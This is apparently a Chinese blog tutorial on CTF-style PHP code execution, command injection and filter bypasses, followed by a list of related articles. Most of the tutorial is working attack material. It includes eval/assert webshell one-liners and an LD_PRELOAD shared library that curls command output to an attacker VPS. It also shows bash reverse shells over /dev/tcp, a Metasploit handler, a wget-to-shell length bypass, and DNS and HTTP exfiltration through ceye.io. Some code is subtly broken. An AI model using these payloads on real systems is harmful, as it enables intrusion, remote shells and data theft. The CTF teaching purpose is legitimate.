CTF命令执行及绕过技巧

代码执行和命令执行 代码执行:未严格过滤用户输入的参数,导致用户可以通过传参在web服务器上执行恶意代码。可变函数:一个变量名后面如果有圆括号,php将寻找与变量值同名的函数并尝试执行。 阅读详情
前言

今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列!

今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景!

正文

在详细介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!

代码执行
代码执行的几种方式
${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
  • ${}执行代码

方法:${php代码}

${phpinfo()};
  • eval()执行代码
eval('echo 2;');
  • assert()

普通调用

//?a=phpinfo()
<?php assert($_POST['a']);?> 

assert函数支持动态调用

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。

在7.0.29版本之后发现的奇怪的一点

<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()
  • preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$b,'abcd');
  • create_function()

说明

string create_function ( string $args , string $code )

该函数用来创建匿名函数。
这个函数的实现大概是这样的

$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。
执行代码

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

上面这种方法是最直接的,接下来看一点有趣的。

自己写的小示例

$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/* 

传入后,代码如下

function niming($name){
echo $name.编号2;
     }phpinfo();/*
}

这样就执行了代码,再给出网上找的一个例子。

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp’;

$databases=array(’1234′,’4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;

usort($databases, create_function(‘$a, $b’, $sort_function));

?>

构造的payload如下

?sort_by=”]);}phpinfo();/*

在自己写示例的时候,因为网上的一个示例纠结了挺久。
代码如下

<?php
//02-8.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

纠结的原因是在这个例子中,构造$str2的时候,将变量a和变量b都写在了引号之外,但是变量a是匿名函数的参数,如果直接写在单引号外面的话,解析的时候会认为$a没有赋值,从而设置为空。继续往下看,匿名函数也就无法正常的执行。所以就在想办法将$a写在单引号里面,使其可以正常的作为匿名函数的第二个参数。

  • array_map()

官方文档

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

漏洞演示

//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
  • call_user_func()/call_user_func_array()

和array_map()函数挺像的。

官方文档

call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func_array()

mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

示例

call_user_func()

// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array()

//?a=phpinfo();
$array[0] = $_GET['a'];

call_user_func_array("assert",$array); 
  • array_filter()

官方文档

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

示例

$array[0] = $_GET['a'];
array_filter($array,'assert');
  • usort()/uasort()

usrot官方文档

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
  • shell_1
<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

只有在php5.6以上环境才可使用
详解

关于...$_GET是php5.6引入的新特性。即将数组展开成参数的形式。

  • shell_2

下面这种写法只在php5.6版本以下可以使用。

// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');
命令执行
常见命令执行函数
  • system()

  • passthru()

  • exec()

  • shell_exec()

  • `反引号

  • ob_start()

  • mail函数+LD_PRELOAD执行系统命令

  • system()

➜ ~ php -r "system('whoami');"

在这里插入图片描述

  • passthru()
➜ ~ php -r "passthru('whoami');"

在这里插入图片描述

  • exec()
➜ ~ php -r "echo exec('whoami');"

在这里插入图片描述

  • shell_exec()
➜ ~ php -r "echo shell_exec('whoami');"

在这里插入图片描述

  • `反引号
➜ ~ php -r "echo @`whoami`;"

在这里插入图片描述

  • ob_start()

官方文档

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

使用

<?php
    ob_start("system");
    echo "whoami";
    ob_end_flush();
?>
//输出www-data
  • mail函数+LD_PRELOAD执行系统命令

思路

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

利用

a.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
} 
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
} 

编译

gcc -c -fPIC a.c -o a 

gcc -shared a -o a.so

mail.php

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>

监听vps的4123端口,访问mail.php。

在这里插入图片描述

绕过姿势

空格

在bash下,可以用以下字符代替空格

<
${IFS}
$IFS$9
%09

测试

root@kali:~# cat<test.txt
hello world!
root@kali:~# cat${IFS}test.txt
hello world!
root@kali:~# cat$IFS$9test.txt
hello world!
root@kali:~#

在这里插入图片描述

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

%09测试

<?php
$cmd = $_GET['cmd'];
system("$cmd");
?>

//http://ip/index.php?cmd=cat%091.txt

在这里插入图片描述

命令终止符

%00
%20#

命令分隔符
这里介绍5种姿势

%0a 符号

%0d 符号

; 符号
在 shell 中,担任”连续指令”功能的符号就是”分号”

在这里插入图片描述

& 符号
在这里插入图片描述

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID

| 符号
在这里插入图片描述

管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

敏感字符绕过

这里假设过滤了cat

  • 利用变量绕过
root@kali:~# a=l;b=s;$a$b

在这里插入图片描述

  • 利用base编码绕过
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#

在这里插入图片描述

  • 未定义的初始化变量

    cat$x /etc/passwd
    在这里插入图片描述

  • 连接符

    cat /etc/pass’w’d
    在这里插入图片描述

  • 七个字的命令执行

这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造

这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

在这里插入图片描述

进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。

在这里插入图片描述
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

在这里插入图片描述

有了这个基础我们再来看这道题

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

简单的代码,可以利用

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a 

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

ls -t>a
  • 网络地址转化为数字地址

网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

这题过滤了很多东西,下面说一下比较重要的

||&|;|%{}| |''|.|

这里给个payload

%0acat%09
%0Acat$IFS$9
%0acat

用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的

  • 通配符绕过

    Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。

    我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档

在这里插入图片描述

这里我为大家举个栗子:

例如ls命令我们可以通过以下语法代替执行:

/???/?s --help

在这里插入图片描述

由于有师傅已经写的很好了,我也就不献丑了!请参考下列文章!

参考文章

​参考文章2

处理无回显的命令执行

1.利用自己的vps

第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行

先在vps处用nc进行监听

nc -l -p 8080 -vvv

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

在这里插入图片描述

在这里插入图片描述

第二种是msg反向回连

同样vps用msg监听

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

即可getflag

2.利用ceye平台

平台的payload

记录在http request中

题目地址

http://192.168.10.55/ 

后台源码

<?php
$a = $_GET['id'];
system("$a");
?>

payload

curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami` 

只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
效果

图1

在这里插入图片描述

记录在dns query中

简单介绍

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。
举个例子

在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

ping `whoami`.******.ceye.io 

上面这条命令最终在ping的时候ping的是“root.***\***.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。

所以这种方法的使用必须有ping命令。

真题解析

题目存在robots.txt文件,访问发现两个文件

index.txt
where_is_flag.php

index.php代码

<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);

可以看到存在ping命令,但是测试没有回显,于是就采用dnslog的方式来查看回显。
payload

ping `cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io
# 因为域名中不允许有空格,但是php代码中可能会含有空格,所以使用sed命令将php代码的空格替换为xx

最终的url

http://192.168.5.90/?ping=`cat where_is_flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

在dns query中查看

图2

在这里插入图片描述

可以看到文件的内容是

<?php $flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php";?>

由此得知flag.php的位置,继续打印flag.php的内容
获取flag的url

http://192.168.5.90/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]/xx/g`.******.ceye.io

图三

在这里插入图片描述
得到flag。

Think one Think

命令注入的利用其实跟sql注入流程相似,首先找到命令执行点,然后一步一步bypass,最好自己搭建环境实地测试,同时结合官方文档和资料,最终就会得到你需要的payload!

CTF命令执行绕过技巧实战解析 本文深入解析了CTF比赛中命令执行漏洞的多种绕过技巧,包括通配符、变量拼接、编码及无回显利用等实战方法。通过剖析Shell解析特性与过滤规则的差异,帮助安全人员掌握如何灵活构造Payload,有效应对关键字过滤、空格限制等常见防护措施,提升漏洞利用与防御能力。 阅读详情

相关推荐

CTF-Ping命令执行绕过技巧实战解析

本文深入解析CTF比赛中Ping命令执行漏洞的实战绕过技巧。面对多层过滤(如符号、空格、关键词),文章详细介绍了利用换行符、$IFS变量、变量拼接及Base64编码等多种方法,逐步拆解防御逻辑,最终构建有效Payload获取flag,并从防御角度提出安全开发建议。

weixin_29291185的博客 307

call_user_func()详解

先来看解释 : (PHP 4, PHP 5, PHP 7) call_user_func — 把第一个参数作为回调函数调用 通过函数的方式回调 &lt;?php  function barber($type){     echo "you wanted a $type haircut, no problem\n"; } call_user_func('barber','mushroom');...

moliyiran的专栏 3万+

CTF-Ping命令执行绕过技巧全解析

本文深入解析CTF比赛中ping命令执行漏洞的经典绕过技巧。针对空格过滤、命令禁用等常见限制,详细介绍了利用IFS变量、重定向符号、花括号扩展及Base64编码等多种方法进行有效绕过,并提供了从攻击与防御双视角的实战心得,帮助安全爱好者提升漏洞利用与防护能力。

weixin_29313423的博客 222

PHP call_user_func理解

 call_user_func():调用一个回调函数处理字符串,   可以用匿名函数,可以用有名函数,可以传递类的方法,   用有名函数时,只需传函数的名称   用类的方法时,要传类的名称和方法名   传递的第一个参数必须为函数名,或者匿名函数,或者方法   其他参数,可传一个参数,或者多个参数,这些参数会自动传递到回调函数中   而回调函数,可以通过传参,获取这些参数   返回回调函数处理后的结...

a18827547638的博客 7251

CTF Web命令执行漏洞:从原理到实战绕过技巧全解析

命令执行漏洞是Web安全领域的核心威胁之一,其本质在于应用程序将未经验证的用户输入传递给系统Shell执行。理解其原理需要掌握操作系统命令执行机制、Shell解析规则以及用户输入与系统命令的交互边界。从技术价值看,深入研究命令执行绕过不仅有助于提升安全防御能力,更能深化对系统底层运行机制的理解。在实际应用场景中,CTF竞赛和渗透测试常通过过滤空格、分隔符、关键词等方式模拟真实防护,考验安全人员对编码、变量拼接、通配符等技术的灵活运用。本文基于CTFShow平台实战经验,系统梳理了从基础分隔符绕过高阶无字母数

weixin_33906657的博客 450

CTF实战:5种绕过ping命令执行过滤的技巧(附真实案例)

本文深入解析了CTF比赛中绕过ping命令执行过滤的5种核心技巧,包括利用IFS变量、字符串拼接、Base64编码、命令替代及通配符扩展,并结合真实案例演示了如何绕过空格、关键词等常见过滤规则,帮助安全人员提升命令注入漏洞的实战利用能力。

solidity8miner的博客 607

CTF入门web篇17命令执行相关函数及绕过技巧讲解

命令注入和代码注入区别 之前我们讲过的都是代码注入,注入的代码相当于网页中新的代码,比如去执行数据库读取的操作,我们想办法插入一段代码去执行,这就是代码执行。 命令注入 命令注入执行的是系统中的命令,使目标服务器的命令在目标服务器上去执行我们想要执行的命令,系统命令的执行还是要基于某些函数的调度去实现的。 1、system函数 例如system函数执行系统命令并输出相应的结果: String ...

anquanniu的博客 2366

深入探讨PHP中的call_user_func函数及其用法

下面是一个简单的示例,展示了如何使用$name!在上面的示例中,我们定义了一个函数,它接受一个参数$name并打印出问候语。然后,我们将函数名存储在变量中,并使用来调用该函数,同时传递参数'John'。通过,我们可以通过函数名的字符串形式来调用自定义函数,从而实现函数的动态调用。

UqConstruction的博客 661

CTF hardrce 题解:RCE 命令执行绕过技巧全解析

远程代码执行(RCE)是Web安全中常见的高危漏洞,命令注入则是其核心成因。当用户输入被拼接到系统命令时,过滤不严便可能导致任意命令执行。理解命令执行绕过的常见手法,如利用${IFS}替代空格、反斜线打断关键字、通配符模糊匹配等,能显著提升渗透测试与CTF竞赛中的实战能力。在实际漏洞挖掘与比赛题目中,面对严格的过滤规则,可通过分析正则盲区构造有效payload。本文以SWPUCTF 2021 新生赛 hardrce 为例,详细拆解从信息收集、代码审计到最终利用链的完整过程,帮助读者系统掌握命令执行绕过的核心

weixin_29315569的博客 220

PHP自定义函数call_user_func和call_user_func_array详解

这使得我们能够根据需要动态地调用不同的函数,并且可以在运行时根据条件决定要调用的函数。这些函数在某些情况下非常有用,例如在回调函数和事件处理程序中,或者当我们需要根据用户的输入来决定要调用的函数时。这两个函数提供了一种动态调用函数的能力,可以根据函数名的字符串形式来调用函数,而不需要提前知道函数的具体名称。函数非常相似,但是它允许我们将参数作为数组传递给被调用的函数。是一个包含参数的数组,这些参数将作为数组元素依次传递给被调用的函数。可以是一个函数名的字符串,也可以是一个包含类名和方法名的数组。

BUG?不存在的! 392

高动态范围结构光三维测量技术:从多曝光融合到深度学习的演进与应用

本文深入探讨了高动态范围结构光三维测量技术的演进与应用,从传统的多曝光融合技术到深度学习驱动的创新方案。通过工业案例展示了该技术在提升测量精度和效率方面的显著优势,特别是在处理高反光、复杂表面时的突破性表现。文章还提供了针对不同工业场景的技术选型指南,帮助工程师优化三维测量解决方案。

weixin_29063979的博客 293

Linux命令执行漏洞实战:从基础Ping到CTF高级绕过技巧

本文深入剖析Linux命令执行漏洞的实战利用与防御。从基础的Ping命令注入原理讲起,系统讲解了分号、管道符等关键分隔符的利用,并详细拆解了CTF竞赛中绕过空格过滤、关键字检测(如flag、cat)的高级技巧,包括变量拼接、内联执行与Base64编码。通过经典CTF题目[GXYCTF2019] Ping Ping Ping的实战案例,演示了如何结合多种绕过手法获取flag,最后从开发者角度给出了命令执行漏洞的根本防御策略。

weixin_29253711的博客 558

机器人控制入门:用SAC算法让机械臂学会抓取(PyBullet仿真教程)

本文详细介绍了如何使用SAC算法在PyBullet仿真环境中训练机械臂完成抓取任务。通过强化学习中的软Actor-Critic(SAC)算法,结合熵最大化机制和双Q网络架构,有效解决了机械臂控制中的探索难题。教程包含环境搭建、算法原理、状态空间设计、奖励函数优化等核心内容,并提供了实用的训练技巧和参数调优指南。

weixin_29091105的博客 361

【CTF】buuctf web(二)——命令执行绕过技巧实战

本文深入解析了在CTF Web安全挑战中,特别是buuctf平台上的命令执行漏洞绕过技巧。文章以经典题目为例,详细讲解了如何绕过空格过滤、符号过滤及关键字过滤,并介绍了变量拼接、内联执行、Base64编码等多种实用方法,帮助安全爱好者掌握命令执行漏洞的实战利用与防御思路。

yhn45678901的博客 718

模块学习(一)——编码电机

编码电机测速

qq_51406846的博客 7911

LSTM在DNA序列分析中的应用:生物信息学的探索

长短期记忆网络(LSTM)是循环神经网络(RNN)的一个变种,旨在解决RNN在长序列数据中出现的梯度消失和梯度爆炸问题。LSTM通过引入“记忆单元”和三个门(输入门、遗忘门和输出门)来有效捕捉长距离依赖关系。这使得LSTM在处理DNA序列等时间序列数据时具有优势。LSTM在DNA序列分析中展现了强大的能力,能够捕捉复杂的序列特征,并提供高效的解决方案。本文从LSTM的基本原理、DNA序列特性、模型构建、训练过程到实际应用进行了详细阐述。

斌擎科技 749

CTF Web安全实战:文件包含与命令执行漏洞的深度解析与绕过技巧

文件包含与命令执行是Web安全领域的核心漏洞类型,理解其原理对于构建安全防线至关重要。文件包含漏洞源于程序在动态包含文件时未对用户输入进行严格校验,攻击者可利用此缺陷读取敏感文件甚至执行任意代码。命令执行漏洞则发生在应用将未经验证的用户输入拼接至系统命令中,使得攻击者能够操控服务器操作系统。这两种漏洞的技术价值在于,它们直接威胁服务器安全,常被用于权限提升和数据窃取,是渗透测试与CTF比赛中的高频考点。在CTF竞赛的Web安全挑战中,尤其是中阶题目,常会设置多重过滤机制,考察选手对基础知识的灵活运用。例如,

weixin_30896511的博客 485

【毫米波混合波束成形】第3章 深度展开网络:将迭代优化嵌入计算图

相位提取算子 $P_\phi: \mathbb{C}^N \to \mathbb{C}^N$ 定义为逐元素相位归一化 $P_\phi(z) = \exp(j \cdot \angle z)$。该算子在复数域非全纯(Non-holomorphic),标准反向传播需扩展至Wirtinger微积分框架。对于复数变量 $z = x + jy$,Wirtinger导数定义:相位提取算子的Jacobian矩阵在极坐标下具有稀疏结构。

VectorShift的博客 407

CTF命令执行绕过实战:BurpSuite Intruder Fuzz测试与cat命令替代技巧

命令执行漏洞是Web安全中的常见高危漏洞,其原理在于应用程序将未经验证的用户输入直接拼接至系统命令中执行,从而可能导致服务器被完全控制。从技术价值看,理解并防御此类漏洞是构建安全应用架构的基础。在渗透测试与CTF竞赛等应用场景中,攻击者常需在受限环境下进行漏洞利用,例如当系统过滤了空格、分号等关键字符或禁用cat等常用命令时。本文聚焦于通过BurpSuite Intruder模块进行高效的Fuzz(模糊测试),系统性地探测可用的命令分隔符与cat命令的替代方案,如使用tac、more等命令实现文件读取,并深

weixin_30237719的博客 437

QNX侧触摸屏(TP)Bringup流程与源码深度解析

QNX侧TP Bringup的核心在于构建。

QQ_778132974的博客 477

用一套可追溯的闭环,把设备变成可管理的资产:SAP S/4HANA Asset Management 模块详解

摘要:SAP S/4HANA的资产管理模块(EAM)通过标准化流程管理企业资产全生命周期,解决资产状态、需求和资源的不确定性。系统将资产抽象为技术对象,支持纠正性和预防性维护流程,通过维护工单实现可执行的工作包,并与物料管理、财务、生产计划等模块集成形成管理闭环。该模块可帮助降低非计划停机时间,通过数据驱动决策优化维护策略,提升资产可用率和运营效率。(149字)

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 253

CTF与实战:Web安全过滤绕过核心原理与SQL注入、命令执行技巧详解

在Web安全领域,SQL注入和命令执行是两类基础且危害巨大的安全漏洞,其本质是攻击者通过精心构造的输入,使系统将用户数据误解析为可执行的指令。理解其原理,关键在于把握数据与指令在不同上下文(如SQL查询、操作系统Shell、编程语言解释器)中的语法差异。防御方通常部署过滤器(如黑名单、WAF)来阻断恶意语法,而攻击者则通过语法变形、等价替换、编码混淆等技术进行绕过,这体现了安全攻防中永恒的博弈。掌握这些绕过技术,不仅能应对CTF竞赛中的各类挑战,更在真实的渗透测试、代码审计中具有极高的实用价值,例如通过无字

weixin_33743661的博客 558

ROS入门教程(七)—— Gazebo与RViz联合仿真

通过Gazebo与RViz联合仿真实现机器人运动。

吾门的博客 1万+

Linux通配符在CTF命令执行中的无字符绕过技巧

命令注入是Web安全中的常见漏洞,攻击者通过注入恶意命令来操控服务器。其原理在于应用程序未对用户输入进行充分过滤,直接将输入拼接至系统命令中执行。在CTF竞赛中,为了增加挑战难度,常会设置严格的输入过滤,例如仅允许字母和数字字符。面对这种限制,传统的特殊字符(如空格、分号、管道符)均无法使用。此时,深入理解系统底层特性成为突破关键。Linux通配符(如`*`和`?`)本是用于文件匹配的便利工具,但其在Bash命令行解释过程中的扩展机制,可被创造性利用。通过精心构造通配符模式,使其在文件系统中匹配到已有的系统

weixin_30553777的博客 404

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

上一篇: Phpstorm+Xdebug动态调试配置
下一篇: PHP代码审计之函数漏洞(上)
JBlock
博客等级 码龄9年 189粉丝 62原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值